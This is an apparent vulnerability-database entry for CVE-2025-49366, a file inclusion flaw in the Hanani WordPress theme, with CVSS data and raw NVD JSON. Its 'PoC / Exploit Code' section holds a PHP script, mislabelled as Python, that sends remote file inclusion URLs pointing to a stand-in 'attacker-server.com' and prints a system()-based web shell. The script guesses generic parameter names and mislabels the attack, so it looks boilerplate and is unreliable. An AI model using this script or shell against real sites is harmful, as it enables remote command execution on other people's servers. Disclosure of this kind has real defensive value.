Security Vulnerability Report
中文
CVE-2025-49366 CVSS 8.1 HIGH

CVE-2025-49366

Published: 2025-12-18 08:15:51
Last Modified: 2026-04-27 20:16:13

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Hanani hanani allows PHP Local File Inclusion.This issue affects Hanani: from n/a through <= 1.2.11.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Hanani主题 <= 1.2.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-49366 PoC - Hanani Theme Local File Inclusion / Remote File Inclusion * Target: AncoraThemes Hanani WordPress Theme <= 1.2.11 * Type: PHP Remote File Inclusion * * Usage: * 1. Host a malicious PHP file on attacker-controlled server * 2. Replace ATTACKER_SERVER with your server IP/domain * 3. Replace TARGET_URL with the vulnerable WordPress site * 4. Execute the PoC */ $target_url = 'http://target-site.com/'; $attacker_server = 'http://attacker-server.com/'; $malicious_file = 'evil.php'; // Method 1: Direct Remote File Inclusion via common theme parameters $vulnerable_params = [ 'template', 'theme', 'page', 'file', 'action', 'view', 'load' ]; echo "[*] CVE-2025-49366 PoC - Hanani Theme RFI\n"; echo "[*] Target: {$target_url}\n"; echo "[*] Attacker Server: {$attacker_server}\n\n"; foreach ($vulnerable_params as $param) { $payload = $attacker_server . $malicious_file; $exploit_url = $target_url . '?' . $param . '=' . urlencode($payload); echo "[+] Testing parameter: {$param}\n"; echo "[+] Exploit URL: {$exploit_url}\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $exploit_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($response)) { echo "[!] Potential vulnerability detected with parameter: {$param}\n\n"; } } // Method 2: Direct file inclusion path traversal $path_traversal_payload = $attacker_server . $malicious_file . '?cmd=whoami'; $exploit_url_2 = $target_url . '?file=' . urlencode($path_traversal_payload); echo "[+] Alternative exploit URL: {$exploit_url_2}\n"; // Malicious PHP file example (to be hosted on attacker server) $malicious_php = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } else { echo "Shell uploaded - use ?cmd=<command>"; } ?>' ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49366", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:50.907", "lastModified": "2026-04-27T20:16:13.147", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Hanani hanani allows PHP Local File Inclusion.This issue affects Hanani: from n/a through <= 1.2.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/hanani/vulnerability/wordpress-hanani-theme-1-2-11-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}